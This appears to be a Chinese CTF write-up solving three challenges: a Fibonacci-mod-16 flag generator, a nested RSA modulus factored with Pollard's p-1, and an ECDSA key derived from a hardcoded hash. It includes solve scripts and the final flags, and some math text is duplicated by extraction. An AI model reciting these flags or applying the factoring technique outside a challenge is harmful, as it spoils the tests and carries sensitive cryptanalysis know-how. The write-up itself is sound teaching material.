斐波那契数列模 16 是周期性的(Pisano Period),其周期长度为 24。我们可以预计算这个序列:

F_mod16 = [0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1]

由于直接运行原程序受限于环境且计算量可能过大(虽然这里有 Sleep),我们用 Python 脚本模拟生成逻辑:

python 复制代码
K = "012ab9c3478d56ef"
mask = (1 << 64) - 1  

# 计算斐波那契数列模 16 (周期 24)
F_mod = []
a, b = 0, 1
for _ in range(24):
    F_mod.append(a)
    a, b = b, (a + b) % 16

def get_char(seed):
    idx = F_mod[seed % 24]
    return K[idx]

seed = 1
flag_chars = []

for i in range(32):
    char = get_char(seed)
    flag_chars.append(char)
    
    if i in [7, 12, 17, 22]:
        flag_chars.append('-')
        
    # 更新种子:seed = seed * 8 + (i + 0x40)
    seed = ((seed << 3) + (i + 0x40)) & mask

final_flag = "flag{" + "".join(flag_chars) + "}"
print(f"Flag: {final_flag}")

运行脚本得到的 Flag 为:

flag{10632674-1d219-09f29-14769-f60219a24}

RSA_NestingDoll

通过分析提供的 src.py和 output.txt 中的数据,我们可以确定该题目的加密结构如下:

  1. 模数结构:n 是一个 4096 位的模数,由 4 个 1024 位的质数相乘得到:n=p⋅q⋅r⋅sn=p⋅q⋅r⋅s。n1 是一个 2048 位的数,由 4 个 512 位的"内部质数"相乘得到:n1=p1⋅q1⋅r1⋅s1n1=p1⋅q1⋅r1⋅s1。关键关系:外部质数与内部质数存在特定关系,例如 p=k1⋅p1+1p=k1⋅p1+1。其中 k1k1 是一个"光滑数"(Smooth Number),即它只包含较小的质因子。
  2. 漏洞利用:由于 p−1=k1⋅p1p−1=k1⋅p1,且 p1p1n1n1 的因子,k1k1 由小质数组成,这意味着 p−1p−1 对于 BB-光滑部分(小质数部分)和已知的大因子 n1n1 的乘积是光滑的。这种情况非常适合使用 Pollard's **p−1p−1** 分解算法。如果我们构造一个指数 E=n1⋅LCM(1...B)E=n1⋅LCM(1...B),那么 aE≡1(modp)aE≡1(modp) 很大概率成立。通过计算 gcd(aE−1,n)gcd(aE−1,n),我们可以分解出 nn 的因子。

优化 Pollard's p−1算法:

由于 nn 非常大(4096位),直接计算大指数幂非常耗时。

策略:预先筛选出 B=220B=220 以内的所有质数,并计算其幂次。将这些幂次分块(Chunking),逐步对基数 aa 进行模幂运算。每计算完一块就检查一次 GCD,以便在超时前找到因子。

分解 nn:

利用上述算法,我们成功将 nn 分解为 4 个 1024 位的质数(在交互过程中分别解出)

恢复内部质数 (p1,q1,r1,s1p1,q1,r1,s1):

  • 利用关系 p1∣(p−1)p1∣(p−1),我们可以通过计算 gcd(p−1,n1)gcd(p−1,n1) 来直接求出对应的内部质数 p1p1
  • nn 的 4 个因子重复此步骤,得到 n1n1 的 4 个因子

题目实际上是在模 n1n1 下进行的 RSA 加密(或者类似的群结构),利用恢复出来的 p1,q1,r1,s1p1,q1,r1,s1 计算欧拉函数:
ϕ=(p1−1)(q1−1)(r1−1)(s1−1)ϕ=(p1​−1)(q1​−1)(r1​−1)(s1​−1)计算私钥 d=e−1(modϕ)d=e−1(modϕ)。解密明文 m=cd(modn1)m=cd(modn1)

完整解题脚本 (Python)

python 复制代码
import re, math, random, sys
from math import gcd
from pathlib import Path
text = Path('/mnt/data/output.txt').read_text()
nums = list(map(int, re.findall(r'=\s*(\d+)', text)))
n1, n, c = nums
e = 65537
B = 2**20 

def prime_powers_upto(B):
    sieve = bytearray(b'\x01') * (B + 1)
    sieve[0:2] = b'\x00\x00'
    lim = int(B**0.5) + 1
    for i in range(2, lim):
        if sieve[i]:
            sieve[i*i:B+1:i] = b'\x00' * (((B - i*i) // i) + 1)
    primes = [i for i in range(B + 1) if sieve[i]]
    pps = []
    for p in primes:
        pp = p
        while pp * p <= B: pp *= p
        pps.append(pp)
    return pps

pps = prime_powers_upto(B)
def recover_and_decrypt(outer_factors, n1, c, e):
    inner_primes = []
    rem_n1 = n1
    
    # 从外部质数恢复内部质数: gcd(P-1, n1)
    for P in outer_factors:
        g = gcd(P - 1, rem_n1)
        if g > 1:
            inner_primes.append(g)
            rem_n1 //= g
    
    inner_primes.sort()
    print(f"找到 {len(inner_primes)} 个内部质数。", flush=True)
    phi = 1
    for p in inner_primes:
        phi *= (p - 1)
        
    d = pow(e, -1, phi)
    m = pow(c, d, n1)
    
    pt = m.to_bytes((m.bit_length() + 7) // 8, 'big')
    print(f"Flag: {pt.decode(errors='ignore')}")

经过解密脚本运行,我们得到了最终的 Flag:

flag{pollard_p_minus_1_is_too_powerful_with_embedded_factors}

ECDSA

打开 task.py,前面几行是关键:

复制代码
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes

digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key

这里其实就已经把"私钥怎么生成的"写死在源码里了:

  1. 用固定字符串 "Welcome to this challenge!" 做了一次 sha512。
  2. 把 64 字节的 sha512 当成一个大整数 digest_int
  3. 用曲线的阶 curve_order 取模得到 priv_int
  4. 再把 priv_int 固定编码成 66 字节:long_to_bytes(priv_int, 66)
  5. 最后用 SigningKey.from_string(priv_bytes, curve=NIST521p) 得到私钥对象。

也就是说,只要我有 task.py,就可以百分百还原出同一把私钥,跟 signatures 甚至没关系。

只是注意需要先把私钥转为十进制再进行md5

复制代码
import re
import ast

import hashlib
from ecdsa import NIST521p

with open("task.py", "r", encoding="utf-8", errors="ignore") as f:
    src = f.read()

m = re.search(r"sha512\(\s*(b(?:'[^']*'|\"[^\"]*\"))\s*\)\.digest\(\)", src)
seed = ast.literal_eval(m.group(1))
digest = hashlib.sha512(seed).digest()
digest_int = int.from_bytes(digest, "big")
priv_int = digest_int % NIST521p.order
flag_md5 = hashlib.md5(str(priv_int).encode()).hexdigest()
print(f"flag{{{flag_md5}}}")
相关推荐
蓝之白10 小时前
Web9-source
web安全·ctf
蓝之白12 小时前
Web8-矛盾
web安全·ctf
蓝之白14 小时前
Web12-变量1
web安全·ctf
蓝之白1 天前
Web11-备份是个好习惯
web安全·ctf
Z3r4y2 天前
【Web】四川省赛 2025 wp
web·ctf·wp·四川省赛·省赛2025
李白你好2 天前
一款轻量级的CTF/渗透测试Fuzz工具
ctf
三七吃山漆2 天前
攻防世界——safer-than-rot13
ctf
saulgoodman-q4 天前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
三七吃山漆5 天前
攻防世界——ics-05
网络·安全·web安全·ctf